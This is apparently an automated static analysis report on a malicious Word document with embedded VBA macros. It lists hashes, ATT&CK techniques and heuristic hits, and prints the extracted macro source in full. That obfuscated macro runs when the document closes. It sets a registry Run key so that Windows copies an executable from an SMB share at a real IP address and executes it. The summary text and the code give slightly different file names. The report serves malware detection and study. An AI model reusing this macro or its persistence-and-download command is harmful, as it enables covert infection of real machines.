Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b740eee3ef48be1e…

MALICIOUS

Office (OOXML)

18.0 KB Created: 2020-02-13 12:37:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-15
MD5: db8babc3b5f349c978171c2ca1ef3c73 SHA-1: 9afd535daeec1c54aa69fe318b3c5a7cd9ca7f2f SHA-256: b740eee3ef48be1eeec683dbad774883f9c0561d73d71dd172d63b12da1590ed
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1071.004 SMB/Unix T1105 Ingress Tool Transfer

The sample contains VBA macros that leverage GetObject and cmd.exe to modify the registry. Specifically, it writes a command to the 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\iexplorer' registry key. This command instructs the system to download and execute a file named 'cererggt.exe' from the SMB share '\\178.62.210.85\shareit' into the public directory as 'anything.exe'. This indicates a downloader or dropper functionality.

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1130 bytes
SHA-256: ae4205eec4b31d0e6846b6370fadc375e4947116c7e13fca920ccb0fb2b36875
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Document_Close()
    wr5vSvc
End Sub


Function wr5vSvc()
    paF4x = WFFggf & cwegnbt & cfSdfvS & cv45thn & cweew5c & c4exsGd & " --output " & cdlkpo5 & sdhjm & vrt & " "
    Const HCU = &H80000001&
    strKeyPath = "Soft" & cerbth & "ware\\Mic" & ferf & "rosoft\\Windows\\CurrentVersion\\Run"
    strComputer = "."
    On Error GoTo exi
    Set objReg = GetObject("win" & Chr(109) & "gmts:{impersona" & frERvd & "tionLevel=impersonate}!\\" & strComputer & "\root\default:StdReg" & Fcwwgt & "Prov")
    strValueName = "iexplorer"
    strValue = "cmd /c """ & "start /min cmd /c ""pushd \\178.62.210.85\shareit && copy /Y /Z fererggt.exe %public%\anything.exe && %public%\anything.exe && popd""" & """"
    objReg.SetStringValue HCU, strKeyPath, strValueName, strValue
exi:
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: d0cc4fc5eff247902291e4d899b708772fab4b0f21564ea2353c80daea4c204c

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